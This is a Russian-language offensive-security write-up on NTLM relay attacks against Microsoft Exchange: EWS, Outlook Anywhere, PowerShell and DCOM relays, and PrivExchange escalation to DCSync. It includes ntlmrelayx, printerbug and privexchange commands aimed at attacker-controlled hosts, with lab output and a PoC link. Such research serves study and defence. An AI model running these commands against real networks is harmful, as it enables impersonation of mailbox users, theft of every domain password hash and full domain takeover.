В первом контексте мы пытаемся передать данные для аутентификации другому интерфейсу Exchange Server. Поскольку данные для аутентификации передаются через учетную запись компьютера Exchange, которая обладает правом сериализации токенов, мы можем выдавать себя за любого пользователя! В качестве примера мы передаем данные для аутентификации NTLM от EX01 к интерфейсу EWS EX02 службы. Мы реализуем атаку с передачей данных на интерфейс EWS, настроив httpattack.py! Вот краткое описание:

  1. Запустите ntlmrelayx.py на ATTACKER сервере, чтобы дождаться аутентификации по протоколу NTLM.
  2. Используйте printerbug.py для принудительного EX01-подключения к SMB-серверу ATTACKER.
  3. Принимайте SMB-соединение на ATTACKER и передавайте блобы NTLM на EX02.
  4. Завершите обмен данными по протоколу NTLM, чтобы получить полный доступ к конечной точке EWS.
# Terminal 1
$ python ntlmrelayx.py -smb2support -t https://EX02/EWS/Exchange.asmx

# Terminal 2
$ python printerbug.py EX01 ATTACKER

Теоретически мы можем получить доступ к целевому почтовому ящику с помощью операций EWS.

Pasted image 20251004151545.png

Pasted image 20251004151618.png

Pasted image 20251004151648.png

Pasted image 20251004151729.png

Relay to Exchange BackEnd
#

Ретрансляцию на фронтенд можно легко предотвратить с помощью простой проверки. А как насчет ретрансляции на бэкенд? Поскольку бэкенд проверяет запросы фронтенда, определяя, является ли учетная запись машинной, предотвратить ретрансляцию на бэкенд будет сложнее, поскольку это обычная операция и бэкенду нужна учетная запись машины, которая хеширует расширенное право ms-Exch-EPI-Token-Serialization для выдачи себя за нужного пользователя. Здесь мы приводим три примера атак на бэкенд.

На основе описанной нами атаки EWS с ретрансляцией на фронтенд можно без проблем повторно применить предыдущую атаку к бэкенду. Единственное изменение — нужно изменить целевой порт с 443 на 444.

Другая демонстрация — атака на Outlook Anywhere. Exchange определяет несколько внутренних служб RPC, которые могут напрямую управлять почтовым ящиком. Эти службы RPC имеют общедоступный интерфейс, к которому можно получить доступ через /Rpc/*, а пользователи могут получить доступ к своему почтовому ящику по протоколу RPC-over-HTTP, описанному в спецификации Microsoft MS-RPCH. Тем, кто хочет разобраться в базовом механизме, рекомендуется прочитать потрясающее исследование Атака на веб-интерфейсы MS Exchange Арсений Шароглазов.

Возвращаясь к нашей атаке, отметим, что основная логика такая же, как и при атаке на EWS. Поскольку /Rpc/* также доступен по протоколу HTTP/HTTPS, его можно использовать для ретрансляции. Как только мы обойдем аутентификацию и получим доступ к маршруту /Rpc/RpcProxy.dll, мы сможем выдать себя за любого пользователя и управлять его почтовым ящиком по протоколу RPC-over-HTTP. Для реализации атаки мы перенесли множество Ruler Project в Impacket. В результате этой демонстрации мы можем обойти аутентификацию с помощью PrinterBug и получить доступ к почтовому ящику любого пользователя через Outlook Anywhere. Всю атаку можно описать следующим образом:

  1. Установите RCP_IN_DATA и RCP_OUT_DATA каналы для EX02 ввода-вывода RPC.
  2. Запустите PrinterBug на EX01 и передайте данные на EX02 для завершения рукопожатия NTLM.
  3. Добавьте заголовки X-CommonAccessToken для указания того, что мы являемся администраторами Exchange, в оба HTTP-заголовка.
  4. Взаимодействие с Outlook Anywhere осуществляется с помощью множества кодов, работающих на MS-OXCRPC и MS-OXCROPS поверх MS-RPCH…

Последняя демонстрация, — это ретрансляция в Exchange PowerShell. Поскольку мы обошли аутентификацию в серверной части IIS, можно снова выполнить ProxyShell-Like эксплойт! Как только мы сможем выполнять произвольные командлеты Exchange, нам не составит труда найти RCE после аутентификации, чтобы объединить их в цепочку, ведь мы являемся администратором Exchange. Для управления Exchange существуют сотни командлетов, и многие прошлые случаи (CVE-2020-16875CVE-2020-17083CVE-2020-17132CVE-2021-31207 и другие) показали, что это тоже несложная задача.

Relay to Windows DCOM
#

Эта часть должна быть полностью посвящена Dlive. В отрасли уже давно известно, что MS-DCOM поддерживает ретрансляцию, благодаря исследованиям Сильвена Хейнигера «Ретрансляция аутентификации NTLM через RPC». Однако Dlive создаёт цепочку RCE на основе наследования групп серверов Exchange в средах Active Directory. Пожалуйста, поблагодарите его!

Идея этой атаки заключается в том, что группа Local Administrators на сервере Exchange включает в себя участника группы Exchange Trusted Subsystem, а все серверы Exchange по умолчанию входят в эту группу. Это означает, что учётная запись компьютера EX01$ также является локальным администратором EX02. Учитывая эту концепцию, можно максимально усилить эффект от ретрансляции на MS-DCOM и идеально применить его к серверу Exchange!

Dlive продемонстрировал эту атаку в своём выступлении на DEFCON 29. Хотя он не опубликовал код эксплойта, скриншот Wireshark в его презентации на странице 45 уже даёт подсказку, и этого достаточно для воспроизведения. Процесс можно описать следующим образом:

  1. Принудительно EX01 установить соединение и передать NTLM-данные Endpoint Mapper (порт 135) EX02 для получения интерфейса MMC20.Application.
  2. Снова примените EX01 и перенаправьте NTLM на динамический порт, выделенный EPMapper, а затем вызовите ExecuteShellCommand(...) в iMMC->Document->ActiveView .
  3. Можем выполнять произвольные команды!

PrivExchange
#

Для перехода от любого пользователя с почтовым ящиком к доступу администратора домена используются три компонента:

  • Серверы Exchange по умолчанию имеют (слишком) высокие привилегии
  • Аутентификация NTLM уязвима для ретрансляционных атак
  • В Exchange есть функция, которая позволяет злоумышленнику пройти аутентификацию с помощью учётной записи компьютера на сервере Exchange

Основная уязвимость заключается в том, что Exchange обладает высокими привилегиями в домене Active Directory. Группа Exchange Windows Permissions имеет WriteDacl доступ к объекту домена в Active Directory, что позволяет любому члену этой группы изменять привилегии домена, в том числе привилегию на выполнение операций DCSync. Пользователи или компьютеры с такой привилегией могут выполнять операции синхронизации, которые обычно используются контроллерами домена для репликации, что позволяет злоумышленникам синхронизировать все хешированные пароли пользователей в Active Directory

NTLM relaying machine accounts
#

NTLM relaying существует уже довольно давно. Раньше основное внимание уделялось релею аутентификации NTLM через SMB для выполнения кода на других хостах. К сожалению, это по-прежнему возможно во многих корпоративных сетях, которые не защищены от этого с помощью подписи SMB. Однако другие протоколы также уязвимы для ретрансляции. На мой взгляд, наиболее интересным протоколом для этого является LDAP, который можно использовать для чтения и изменения объектов в (активном) каталоге. Если вкратце, то без применения средств защиты можно передавать аутентификацию, которая выполняется (автоматически) Windows при подключении к компьютеру злоумышленника, на другие компьютеры в сети, как показано на изображении ниже:

Pasted image 20251004155205.png

При передаче данных аутентификации в LDAP объекты в каталоге могут быть изменены таким образом, чтобы предоставить злоумышленнику привилегии, в том числе необходимые для операций DCSync. Таким образом, если нам удастся заставить сервер Exchange пройти аутентификацию с помощью NTLM, мы сможем провести атаку с использованием ACL. Следует отметить, что передача данных в LDAP работает только в том случае, если жертва проходит аутентификацию по протоколу HTTP, а не по протоколу SMB.

Единственным недостающим компонентом до сих пор был простой способ заставить Exchange пройти аутентификацию. Исследователь из ZDI обнаружил, что можно заставить Exchange пройти аутентификацию по произвольному URL-адресу через HTTP с помощью функции Exchange PushSubscription. В своём посте в блоге они использовали эту уязвимость для передачи аутентификационных данных NTLM обратно в Exchange (это называется атакой отражения) и для выдачи себя за других пользователей. Если мы объединим это с высокими привилегиями, которые Exchange имеет по умолчанию, и проведём ретрансляционную атаку вместо атаки с отражением, то сможем использовать эти привилегии, чтобы получить права DCSync. Служба push-уведомлений может отправлять сообщение каждые X минут (где X может быть указано злоумышленником), даже если событие не произошло. Это гарантирует, что Exchange подключится к нам, даже если в папке «Входящие» нет активности.

Проведение атаки с повышением привилегий
#

Ниже представлена схема описанной выше атаки с указанием шагов, которые необходимо выполнить для повышения привилегий:

Pasted image 20251004155535.png

Для проведения атаки нам понадобятся два инструмента: privexchange.py и ntlmrelayx. Оба инструмента можно найти на GitHub в репозиториях PrivExchange и impacket. Запустите ntlmrelayx в режиме ретрансляции с использованием LDAP на контроллере домена в качестве цели и укажите пользователя, находящегося под контролем злоумышленников, для повышения привилегий (в данном случае это пользователь ntu):

ntlmrelayx.py -t ldap://s2016dc.testsegment.local --escalate-user ntu

Теперь мы запускаем скрипт privexchange.py:

user@localhost:~/exchpoc$ python privexchange.py -ah dev.testsegment.local s2012exc.testsegment.local -u ntu -d testsegment.local
Password: 
INFO: Using attacker URL: http://dev.testsegment.local/privexchange/
INFO: Exchange returned HTTP status 200 - authentication was OK
ERROR: The user you authenticated with does not have a mailbox associated. Try a different user.

Если запустить эту команду для пользователя, у которого нет почтового ящика, мы получим указанную выше ошибку. Давайте попробуем ещё раз с пользователем, у которого есть почтовый ящик:

user@localhost:~/exchpoc$ python privexchange.py -ah dev.testsegment.local s2012exc.testsegment.local -u testuser -d testsegment.local 
Password: 
INFO: Using attacker URL: http://dev.testsegment.local/privexchange/
INFO: Exchange returned HTTP status 200 - authentication was OK
INFO: API call was successful

Через минуту (это время, указанное для push-уведомления) мы видим подключение к ntlmrelayx, которое предоставляет нашему пользователю привилегии DCSync:

Pasted image 20251004155659.png

Мы подтверждаем наличие прав DCSync с помощью secretsdump:

Pasted image 20251004155724.png

Имея доступ ко всем хешированным паролям всех пользователей Active Directory, злоумышленник может создать «золотые билеты» для выдачи себя за любого пользователя или использовать хеш пароля любого пользователя для аутентификации в любой службе, принимающей аутентификацию NTLM или Kerberos в домене.

Relaying to LDAP and signing
#

Ретрансляция с SMB на LDAP не работает, поэтому эту атаку нельзя осуществить, например, с помощью злоупотребления SpoolService RPC (поскольку аутентификация осуществляется через SMB). Поскольку вопросы по этому поводу Давайте разберемся, почему так происходит.

Разница между аутентификацией NTLM в SMB и HTTP заключается в флагах, которые устанавливаются по умолчанию. Проблемной частью является флаг NTLMSSP_NEGOTIATE_SIGN (0x00000010), описанный в MS-NLMP, раздел 2.2.2.5. При аутентификации NTLM через HTTP этот флаг по умолчанию не устанавливается, но при использовании SMB этот флаг устанавливается по умолчанию:

Pasted image 20251004155928.png

Когда мы передадим это в LDAP, аутентификация пройдёт успешно, но LDAP будет ожидать, что все сообщения будут подписаны сеансовым ключом, полученным из пароля (которого у нас нет при ретрансляционной атаке). Таким образом, он будет игнорировать все сообщения без подписи, что приведёт к провалу нашей атаки. Можно задаться вопросом, можно ли изменить эти флаги при передаче, чтобы не согласовывать подпись. Это не сработает в современных версиях Windows, поскольку по умолчанию они включают MIC (код целостности сообщения), который представляет собой подпись на основе всех трёх сообщений NTLM. Таким образом, любое изменение в любом из сообщений сделает его недействительным.

Pasted image 20251004160005.png

Можем ли мы удалить MIC? Да, можем, поскольку он не входит в защищенную часть сообщения NTLM. Однако в аутентификации NTLM (только NTLMv2) есть еще одна защита, которая препятствует этому: в глубине ответа NTLMv2, который сам по себе подписан паролем жертвы, есть структура AV_PAIR, которая называется MsvAvFlags. Если в этом поле указано 0x0002, это означает, что клиент отправил MIC вместе с сообщением типа 3.

Pasted image 20251004160029.png

Изменение ответа NTLMv2 приведет к аннулированию аутентификации, поэтому мы не можем удалить это поле флагов. Поле флагов указывает на то, что был рассчитан и включен MIC, что позволяет целевому серверу проверить MIC, который, в свою очередь, подтверждает, что все три сообщения не были изменены при передаче. Поэтому мы не можем удалить флаг подписи.

Атака без использования учётных данных
#

Если злоумышленник может только провести сетевую атаку, но у него нет учётных данных, он всё равно может заставить Exchange пройти аутентификацию. Если мы проведём ретрансляционную атаку SMB на HTTP (или HTTP на HTTP) (с использованием спуфинга LLMNR/NBNS/mitm6), мы сможем передать данные аутентификации пользователя из того же сегмента сети в Exchange EWS и использовать его учётные данные для обратного вызова.

Pasted image 20251004160146.png

PoC: https://github.com/dirkjanm/PrivExchange

Шаблоны Nuclei
#

Под конец решил собрать шаблоны для автоматической идентификации и эксплуатации представленных уязвимостей, с помощью публичного сканера Nuclei от ProjectDiscovery.

References
#

Схема теста MS Exchange Server.png

Github
#

Github Exploits
#

У меня кстати есть второй канал в тг, который называется точно также, как этот раздел) https://t.me/github_exploits

Habr
#

Telegram & Telegra.ph
#

CVE/BDU
#

Hackerone
#

Orange Blog
#

ZeroDay initiative
#

Other
#